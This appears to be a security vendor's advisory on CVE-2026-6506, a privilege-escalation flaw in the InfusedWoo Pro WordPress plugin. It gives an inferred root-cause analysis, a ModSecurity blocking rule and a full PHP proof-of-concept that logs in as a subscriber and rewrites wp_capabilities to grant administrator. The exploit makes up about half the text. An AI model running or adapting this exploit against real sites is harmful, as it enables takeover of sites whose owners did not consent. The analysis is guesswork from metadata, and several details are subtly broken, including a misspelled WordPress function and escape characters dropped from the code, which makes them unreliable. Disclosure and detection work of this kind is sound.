Atomic Edge analysis of CVE-2026-6506 (metadata-based):
This vulnerability affects the InfusedWoo Pro plugin for WordPress up to version 5.1.2. It allows authenticated attackers with subscriber-level access to escalate their privileges to administrator. The vulnerability carries a CVSS score of 8.8, indicating high severity due to the potential for complete compromise of a WordPress site.
Root Cause: The root cause is a missing authorization check in the infusedwoo_gdpr_upddata() function. Based on the CWE classification (CWE-862 Missing Authorization) and the vulnerability description, Atomic Edge research infers that this function hooks into an AJAX action handler (likely via WordPress’s wp_ajax_ hooks) and accepts requests to update user meta data. The function fails to verify that the current user has sufficient capabilities (such as edit_users or manage_options) before processing the update. Additionally, it lacks restrictions on which user meta keys can be modified, allowing an attacker to update the wp_capabilities meta key. This analysis is inferred from the CWE and description; no source code was available for confirmation.
Exploitation: An authenticated attacker with subscriber privileges can exploit this by sending a crafted POST request to the WordPress AJAX endpoint (admin-ajax.php). The request would include the action parameter set to the plugin’s GDPR update action (likely something like infusedwoo_gdpr_upddata or similar based on the function name), a user_id parameter set to the attacker’s own user ID, and a meta_key parameter set to wp_capabilities with a serialized array value granting administrator role. The attacker does not need a nonce or any special permissions beyond being logged in as a subscriber.
Remediation: The fix requires adding proper capability checks to the infusedwoo_gdpr_upddata() function. The developer should use WordPress functions like current_user_cans() for a capability such as edit_users or manage_options before allowing any user meta update. Additionally, they should implement a whitelist of allowed meta keys if the intended purpose of the function is to update only specific GDPR-related fields. Finally, proper nonce verification should be added to prevent CSRF attacks.
Impact: Successful exploitation allows any authenticated user with subscriber-level access to become a WordPress administrator. This grants the attacker full control over the WordPress site, including the ability to modify content, install plugins, change themes, create other admin users, and potentially execute arbitrary code through plugin or theme file editing. This can lead to complete site takeover and data compromise.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6506 - InfusedWoo Pro Privilege Escalation via AJAX',severity:'CRITICAL',tag:'CVE-2026-6506'"
SecRule ARGS_POST:action "@streq infusedwoo_gdpr_upddata" "chain"
SecRule ARGS_POST:meta_key "@streq wp_capabilities" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6506 - InfusedWoo Pro <= 5.1.2 - Authenticated (Subscriber+) Missing Authorization to Privilege Escalation via Arbitrary User Meta Update
// Configuration - set these before running
$target_url = 'http://example.com'; // Root URL of the WordPress site (no trailing slash)
$username = 'attacker'; // Username with subscriber role or higher
$password = 'attacker_password'; // Password for the user
// Step 1: Authenticate to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Get current user ID from the admin area (optional but helpful for dynamic ID)
$admin_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$profile_page = curl_exec($ch);
curl_close($ch);
// Extract user_id from the profile page (look for 'user_id' hidden field)
preg_match('/<input type="hidden" name="user_id" value="(d+)"/', $profile_page, $matches);
if (isset($matches[1])) {
$user_id = $matches[1];
} else {
// Fallback: assume the attacker user ID is 2 (common for first created subscriber)
$user_id = 2;
echo "Warning: Could not extract user ID, using fallback value $user_idn";
}
// Step 3: Craft the privilege escalation payload
// The wp_capabilities meta value must be a serialized array granting administrator
$new_caps = array(
'administrator' => true
);
$serialized_caps = serialize($new_caps);
// Construct AJAX request to the vulnerable endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
'action' => 'infusedwoo_gdpr_upddata', // Inferred action hook based on function name
'user_id' => $user_id,
'meta_key' => 'wp_capabilities',
'meta_value' => $serialized_caps
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_VERBOSE, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsenn";
echo "Privilege escalation attempt completed.n";
echo "If successful, the user '$username' should now have administrator privileges.n";
echo "You can verify by logging in and checking the Dashboard for admin features.n";
?>